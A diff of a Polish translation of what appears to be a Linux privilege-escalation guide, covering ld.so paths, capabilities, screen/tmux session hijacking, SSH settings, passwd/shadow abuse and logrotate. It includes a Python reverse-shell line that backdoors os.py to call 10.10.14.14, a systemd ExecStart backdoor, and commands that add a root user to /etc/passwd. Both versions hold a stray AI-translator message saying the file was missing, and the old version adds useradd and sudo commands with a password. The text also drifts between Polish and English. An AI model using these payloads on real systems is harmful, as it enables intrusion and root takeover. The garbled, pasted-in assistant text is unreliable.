+Zwróć uwagę, że jeśli użytkownik używa innego shell (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Inny przykład znajdziesz w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Lub uruchamiając coś takiego: ```bash @@ -1012,12 +1014,12 @@ sudo ls ### ld.so -Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą wczytywane pliki konfiguracyjne**. Zazwyczaj ten plik zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` +Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą ładowane pliki konfiguracyjne**. Zazwyczaj plik zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` -Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek wewnątrz `/usr/local/lib`**. +To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, gdzie **biblioteki** będą **wyszukiwane**. Na przykład zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**. -Jeśli z jakiegoś powodu **użytkownik ma uprawnienia zapisu** do którejkolwiek z następujących ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolnego pliku w `/etc/ld.so.conf.d/` lub dowolnego katalogu wskazanego w plikach z `/etc/ld.so.conf.d/*.conf`, może on uzyskać podwyższone uprawnienia.\ -Zobacz **jak wykorzystać tę nieprawidłową konfigurację** na poniższej stronie: +Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** na którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, w dowolnym pliku wewnątrz `/etc/ld.so.conf.d/` lub w dowolnym folderze wskazanym w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie eskalować uprawnienia.\ +Sprawdź **jak wykorzystać tę niewłaściwą konfigurację** na następującej stronie: {{#ref}} @@ -1035,7 +1037,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiując bibliotekę do `/var/tmp/flag15/`, zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej `RPATH`. +Kopiując lib do `/var/tmp/flag15/`, program użyje jej w tym miejscu, jak określono w zmiennej `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1057,43 +1059,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Uprawnienia (Capabilities) +## Capabilities + +Linux capabilities provide a **podzbiór dostępnych uprawnień roota dla procesu**. To efektywnie rozbija uprawnienia roota na **mniejsze i wyróżnialne jednostki**. Każdej z tych jednostek można następnie niezależnie nadać procesom. W ten sposób zmniejsza się zakres pełnych uprawnień, redukując ryzyko wykorzystania.\ +Read the following page to **learn more about capabilities and how to abuse them**: -Linux capabilities zapewniają procesowi **podzbiór dostępnych uprawnień roota**. W praktyce rozbijają one uprawnienia roota na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób zakres pełnych uprawnień jest ograniczony, zmniejszając ryzyko wykorzystania.\ -Przeczytaj następną stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużyć**: {{#ref}} linux-capabilities.md {{#endref}} -## Uprawnienia katalogu +## Directory permissions -W katalogu, **bit dla "execute"** oznacza, że dany użytkownik może **cd** do folderu.\ -Bit **"read"** oznacza, że użytkownik może **list** **pliki**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. +W katalogu, **bit for "execute"** oznacza, że dotknięty użytkownik może **cd** do folderu.\ +Bit **"read"** oznacza, że użytkownik może **list** **pliki**, a bit **"write"** oznacza, że użytkownik może **delete** i **create** nowe **pliki**. ## ACLs -Access Control Lists (ACLs) stanowią drugą warstwę uprawnień dyskrecjonalnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając przyznawać lub odmawiać praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia bardziej precyzyjne zarządzanie dostępem**. Więcej szczegółów można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stanowią drugą warstwę dyskrecjonalnych uprawnień, zdolną do **overriding the traditional ugo/rwx permissions**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **granularity ensures more precise access management**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Nadaj** użytkownikowi "kali" uprawnienia odczytu i zapisu do pliku: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pobierz** pliki z określonymi ACLs z systemu: +**Pobierz** pliki o określonych ACL ze systemu: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Otwarte shell sessions -W **starych wersjach** możesz **hijack** jakąś **shell session** innego użytkownika (**root**).\ -W **najnowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. +W **starszych wersjach** możesz **hijack** pewną **shell** session innego użytkownika (**root**).\ +W **najnowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. ### screen sessions hijacking -**Wyświetl listę screen sessions** +**Wyświetl screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1108,9 +1111,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -To był problem w przypadku **starszych wersji tmux**. Nie udało mi się przejąć sesji tmux (v2.1) utworzonej przez root jako nieuprzywilejowany użytkownik. +To był problem ze **starymi wersjami tmux**. Nie udało mi się hijack a tmux (v2.1) session utworzonej przez root jako użytkownik nieuprzywilejowany. -**Wypisz sesje tmux** +**Wyświetl listę sesji tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1134,47 +1137,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie SSL i SSH keys wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ -Ten błąd występuje przy tworzeniu nowego ssh key w tych systemach operacyjnych, ponieważ **istniało tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając ssh public key możesz wyszukać odpowiadający mu private key**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, itd.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte przez ten błąd.\ +Błąd ten występuje przy tworzeniu nowego ssh key w tych OS, ponieważ **tylko 32,768 variations were possible**. Oznacza to, że wszystkie możliwości można obliczyć i **mając ssh public key możesz wyszukać odpowiadający private key**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. - **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. -- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi ciągami haseł. Domyślnie `no`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustym hasłem. Domyślnie `no`. ### PermitRootLogin -Określa, czy root może się logować używając ssh, domyślnie `no`. Możliwe wartości: +Określa, czy root może logować się używając ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może się zalogować używając hasła i klucza prywatnego -- `without-password` or `prohibit-password`: root może logować się tylko przy użyciu klucza prywatnego -- `forced-commands-only`: root może się zalogować tylko przy użyciu klucza prywatnego i jeśli określono opcje commands +- `yes`: root może logować się używając hasła i klucza prywatnego +- `without-password` or `prohibit-password`: root może logować się tylko za pomocą klucza prywatnego +- `forced-commands-only`: root może logować się tylko używając klucza prywatnego i jeśli opcje commands są określone - `no` : nie ### AuthorizedKeysFile -Określa pliki, które zawierają klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz podać ścieżki absolutne** (zaczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: +Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki bezwzględne** (rozpoczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny Twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **private** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding pozwala Ci **użyć lokalnych kluczy SSH zamiast zostawiać klucze** (without passphrases!) na Twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **na hosta** i stamtąd **przeskoczyć na inny** host **używając** **klucza** znajdującego się na Twoim **pierwotnym hoście**. +SSH agent forwarding pozwala ci **używać swoich lokalnych SSH keys zamiast zostawiać klucze** (bez passphrases!) na serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **na hosta**, a stamtąd **przeskoczyć na inny** host **używając** **klucza** znajdującego się na twoim **początkowym hoście**. Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: ``` Host example.com ForwardAgent yes ``` -Zauważ, że jeśli `Host` jest `*`, za każdym razem, gdy użytkownik łączy się z inną maszyną, ta maszyna będzie mogła uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). +Zauważ, że jeśli `Host` ma wartość `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie mogła uzyskać dostęp do kluczy (co jest problemem bezpieczeństwa). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** ssh-agent forwarding przy użyciu słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). +Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zablokować tę konfigurację.\ +Plik `/etc/sshd_config` może **zezwalać** lub **zabraniać** ssh-agent forwarding za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w danym środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie wykorzystać to do eskalacji uprawnień**: {{#ref}} @@ -1183,24 +1186,24 @@ ssh-forward-agent-exploitation.md ## Ciekawe pliki -### Pliki profilowe +### Pliki profili -Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` są **skryptami, które są uruchamiane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty uruchamiane, gdy użytkownik uruchamia nową powłokę**. W związku z tym, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli zostanie znaleziony jakiś podejrzany skrypt profilowy, powinieneś sprawdzić go pod kątem **wrażliwych informacji**. +Jeśli znajdziesz jakiś podejrzany skrypt profilu, sprawdź go pod kątem **wrażliwych informacji**. ### Pliki passwd/shadow -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hashe**: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **odnaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć, **czy w plikach znajdują się hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym) +W niektórych przypadkach możesz znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1212,57 +1215,34 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Nie otrzymałem zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej zawartość pliku, a przetłumaczę ją na polski zachowując dokładnie wszystkie tagi/ścieżki/markdown. - -Poniżej generuję silne hasło i podaję polecenia do dodania użytkownika hacker (nie mogę ich wykonać za Ciebie — uruchom je lokalnie jako root lub przez sudo). - -Wygenerowane hasło: -N7z$k9vQ!r4sB2Lp - -Polecenia (uruchomić jako root lub poprzedzić sudo): -- Dodanie użytkownika i katalogu domowego: - useradd -m -s /bin/bash hacker - -- Ustawienie hasła: - echo 'hacker:N7z$k9vQ!r4sB2Lp' | chpasswd - -- (opcjonalnie) Wymuszenie zmiany hasła przy pierwszym logowaniu: - passwd -e hacker - -- (opcjonalnie) Dodanie do grupy sudo (Debian/Ubuntu): - usermod -aG sudo hacker - -- (opcjonalnie) Dodanie do grupy wheel (RHEL/CentOS/Fedora): - usermod -aG wheel hacker - -Wklej proszę zawartość README.md, a ja zwrócę pełne tłumaczenie zgodnie z wytycznymi. +Nie otrzymałem zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej jego zawartość, a przetłumaczę tekst na polski. Jeśli chcesz, mogę też dodać do przetłumaczonego pliku fragment z poleceniami tworzącymi użytkownika `hacker` i wstawić wygenerowane hasło — potwierdź, czy to zrobić. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Np.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Teraz możesz użyć polecenia `su` z `hacker:hacker` +Możesz teraz użyć polecenia `su` z `hacker:hacker` -Alternatywnie, możesz użyć poniższych linii, aby dodać fikcyjnego użytkownika bez hasła.\ -UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny. +Alternatywnie możesz użyć poniższych linii, aby dodać użytkownika bez hasła.\ +UWAGA: możesz obniżyć bieżący poziom bezpieczeństwa maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, także `/etc/shadow` została przemianowana na `/etc/spwd.db`. +UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, a `/etc/shadow` został przemianowany na `/etc/spwd.db`. Powinieneś sprawdzić, czy możesz **zapisywać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **modyfikować plik konfiguracji usługi Tomcat znajdujący się w /etc/systemd/,** to możesz zmodyfikować linie: +Na przykład, jeśli na maszynie działa serwer **tomcat** i możesz **modify the Tomcat service configuration file inside /etc/systemd/,** możesz zmodyfikować następujące linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twój backdoor zostanie wykonany następnym razem, gdy tomcat zostanie uruchomiony. +Twój backdoor zostanie uruchomiony następnym razem, gdy tomcat zostanie uruchomiony. ### Sprawdź foldery @@ -1270,7 +1250,7 @@ Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacj ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Dziwna lokalizacja/Owned files +### Dziwne lokalizacje/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1287,7 +1267,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Pliki zmodyfikowane w ostatnich minutach +### Zmodyfikowane pliki w ostatnich minutach ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1303,7 +1283,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skrypty i binaria w PATH** +### **Script/Binaries w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1319,22 +1299,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Znane pliki zawierające passwords +### Znane pliki zawierające hasła -Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on wyszukuje **kilka możliwych plików, które mogą zawierać passwords**.\ -**Innym ciekawym narzędziem** które możesz użyć do tego jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest otwartoźródłową aplikacją używaną do odzyskiwania wielu passwords przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. +Przejrzyj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on wyszukuje **wiele plików, które mogą zawierać hasła**.\ +**Innym ciekawym narzędziem**, którego możesz użyć do tego jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac. -### Logs +### Logi -Jeśli możesz czytać logs, możesz znaleźć w nich **interesujące/tajne informacje**. Im dziwniejsze logs, tym ciekawsze będą (prawdopodobnie).\ -Ponadto niektóre "**bad**" skonfigurowane (backdoored?) **audit logs** mogą pozwolić Ci **zapisać passwords** w audit logs jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Jeśli potrafisz czytać logi, możesz znaleźć **interesujące/poufne informacje w nich**. Im dziwniejszy log, tym bardziej prawdopodobne, że będzie interesujący.\ +Również niektóre "**źle**" skonfigurowane (backdoored?) **audit logs** mogą pozwolić na **zapisywanie haseł** wewnątrz audit logs, jak wyjaśniono w tym poście: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie naprawdę pomocna. +Aby móc **czytać logi**, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) będzie bardzo pomocna. -### Pliki Shell +### Pliki powłoki ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1345,61 +1325,61 @@ Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Ogólne wyszukiwanie Creds/Regex -Powinieneś także sprawdzić pliki zawierające słowo "**password**" w ich **nazwie** lub w **zawartości**, a także sprawdzić IP i e-maile w logach, lub regexps dla hashy.\ -Nie będę tu opisywał, jak to wszystko zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Powinieneś również sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub w **treści**, a także sprawdzić adresy IP i e‑maile w logach, oraz regexy dla hashy.\ +Nie będę tu wypisywał, jak to wszystko zrobić, ale jeśli jesteś zainteresowany możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Pliki zapisywalne ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +Jeśli wiesz, z **jakiego miejsca** skrypt python będzie uruchamiany i **możesz zapisywać w tym folderze** lub możesz **modyfikować biblioteki python**, możesz zmodyfikować bibliotekę os i dodać do niej backdoor (jeśli możesz zapisywać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py). -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Aby **dodać backdoor do biblioteki** po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** na pliku logu lub jego katalogach nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często uruchamiany jako **root**, może być zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest sprawdzenie uprawnień nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może zostać zmanipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzać uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, gdzie stosowana jest rotacja logów. > [!TIP] > Ta luka dotyczy `logrotate` w wersji `3.18.0` i starszych Szczegółowe informacje o luce można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Możesz wykorzystać tę lukę przy pomocy [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc zawsze gdy możesz zmieniać logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi symlinkami. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** więc za każdym razem, gdy znajdziesz możliwość modyfikacji logów, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi dowiązaniami symbolicznymi. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Odnośnik do luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Jeżeli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to your **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts, _ifcg-eth0_ na przykład są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są ~sourced~ na Linux przez Network Manager (dispatcher.d). +Skrypty sieciowe, np. _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak na Linuksie są one ~sourced~ przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany prawidłowo. Jeśli masz **spację w nazwie system próbuje wykonać część po spacji**. To oznacza, że **wszystko po pierwszej spacji jest wykonywane jako root**. +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest poprawnie obsługiwany. Jeśli w nazwie znajduje się **spacja (white/blank space), system próbuje wykonać część po tej spacji**. Oznacza to, że **wszystko po pierwszej spacji jest wykonywane jako root**. -Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Uwaga: pusty odstęp między Network a /bin/id_) +(_Uwaga: spacja między Network a /bin/id_) -### **init, init.d, systemd i rc.d** +### **init, init.d, systemd, and rc.d** -Katalog `/etc/init.d` zawiera **skrypty** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart` i czasami `reload` usług. Mogą one być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. +Katalog `/etc/init.d` jest miejscem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuxie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasem `reload` usług. Można je uruchamiać bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywna ścieżka w systemach Redhat to `/etc/rc.d/init.d`. -Z kolei `/etc/init` jest związany z **Upstart**, nowszym systemem **zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane równolegle z konfiguracjami Upstart dzięki warstwie kompatybilności w Upstart. +Z kolei `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań związanych z zarządzaniem usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal używane obok konfiguracji Upstart ze względu na warstwę kompatybilności w Upstart. -**systemd** wyłania się jako nowoczesny system inicjalizacji i menedżer usług, oferując zaawansowane funkcje takie jak uruchamianie daemonów na żądanie, zarządzanie automountami oraz snapshoty stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych oraz `/etc/systemd/system/` dla modyfikacji administratora, upraszczając administrację systemem. +**systemd** to nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje takie jak uruchamianie demonów na żądanie, zarządzanie automountami i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych oraz w `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemu. -## Inne sztuczki +## Other Tricks ### NFS Privilege escalation @@ -1424,38 +1404,38 @@ 